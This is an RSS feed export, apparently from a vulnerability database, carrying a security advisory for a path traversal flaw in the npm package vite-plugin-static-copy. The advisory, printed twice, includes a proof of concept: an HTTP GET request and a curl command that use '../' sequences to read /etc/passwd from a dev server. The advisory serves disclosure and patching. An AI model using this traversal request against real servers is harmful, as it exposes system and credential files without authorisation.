<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 28 Sep 2026 17:27:30 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2025-57753</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2025-57753</link>
      <description>&lt;p&gt;vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2025-57753</guid>
    </item>
    <item>
      <title>GHSA-pp7p-q8fx-2968 — vite-plugin-static-copy files not included in `src` are possible to access with a crafted request</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-pp7p-q8fx-2968</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: vite-plugin-static-copy&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Files not included in `src` was possible to access with a crafted request.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.&lt;/p&gt;
&lt;p&gt;Arbitrary files can be disclosed by exploiting this vulnerability.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Consider the following configuration in used by `vite.config.ts`:&lt;/p&gt;
&lt;p&gt;```ts
import { defineConfig } from &amp;#39;vite&amp;#39;
import { viteStaticCopy } from &amp;#39;vite-plugin-static-copy&amp;#39;&lt;/p&gt;
&lt;p&gt;export default defineConfig({
    plugins: [
      viteStaticCopy({
        targets: [
          {
            src: &amp;#34;./public/images&amp;#34;,
            dest: &amp;#34;./&amp;#34;,
          },
        ],
      }),
    ],
  });
```&lt;/p&gt;
&lt;p&gt;The files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.&lt;/p&gt;
&lt;p&gt;### PoC
I&amp;#39;ve attached a demo app to showcase the bug.&lt;/p&gt;
&lt;p&gt;Run it with `npm run dev` and issue the following HTTP request&lt;/p&gt;
&lt;p&gt;```
GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2
```
OR 
```
curl --path-as-is -i -s -k -X $&amp;#39;GET&amp;#39; \
    -H $&amp;#39;Host: localhost:3001&amp;#39; -H $&amp;#39;Content-Length: 2&amp;#39; \
    --data-binary $&amp;#39;\x0d\x0a&amp;#39; \
    $&amp;#39;http://localhost:3001/static/images/../../../../../../../etc/passwd&amp;#39;
```
Observe that the `/etc/passwd` file is included in the response.&lt;/p&gt;
&lt;p&gt;&amp;lt;img width=&amp;#34;1289&amp;#34; height=&amp;#34;449&amp;#34; alt=&amp;#34;Screenshot 2025-08-16 at 10 27 11 PM&amp;#34; src=&amp;#34;https://gith…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: vite-plugin-static-copy&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Files not included in `src` was possible to access with a crafted request.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.&lt;/p&gt;
&lt;p&gt;Arbitrary files can be disclosed by exploiting this vulnerability.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Consider the following configuration in used by `vite.config.ts`:&lt;/p&gt;
&lt;p&gt;```ts
import { defineConfig } from &amp;#39;vite&amp;#39;
import { viteStaticCopy } from &amp;#39;vite-plugin-static-copy&amp;#39;&lt;/p&gt;
&lt;p&gt;export default defineConfig({
    plugins: [
      viteStaticCopy({
        targets: [
          {
            src: &amp;#34;./public/images&amp;#34;,
            dest: &amp;#34;./&amp;#34;,
          },
        ],
      }),
    ],
  });
```&lt;/p&gt;
&lt;p&gt;The files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.&lt;/p&gt;
&lt;p&gt;### PoC
I&amp;#39;ve attached a demo app to showcase the bug.&lt;/p&gt;
&lt;p&gt;Run it with `npm run dev` and issue the following HTTP request&lt;/p&gt;
&lt;p&gt;```
GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2
```
OR 
```
curl --path-as-is -i -s -k -X $&amp;#39;GET&amp;#39; \
    -H $&amp;#39;Host: localhost:3001&amp;#39; -H $&amp;#39;Content-Length: 2&amp;#39; \
    --data-binary $&amp;#39;\x0d\x0a&amp;#39; \
    $&amp;#39;http://localhost:3001/static/images/../../../../../../../etc/passwd&amp;#39;
```
Observe that the `/etc/passwd` file is included in the response.&lt;/p&gt;
&lt;p&gt;&amp;lt;img width=&amp;#34;1289&amp;#34; height=&amp;#34;449&amp;#34; alt=&amp;#34;Screenshot 2025-08-16 at 10 27 11 PM&amp;#34; src=&amp;#34;https://gith…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-pp7p-q8fx-2968</guid>
    </item>
  </channel>
</rss>
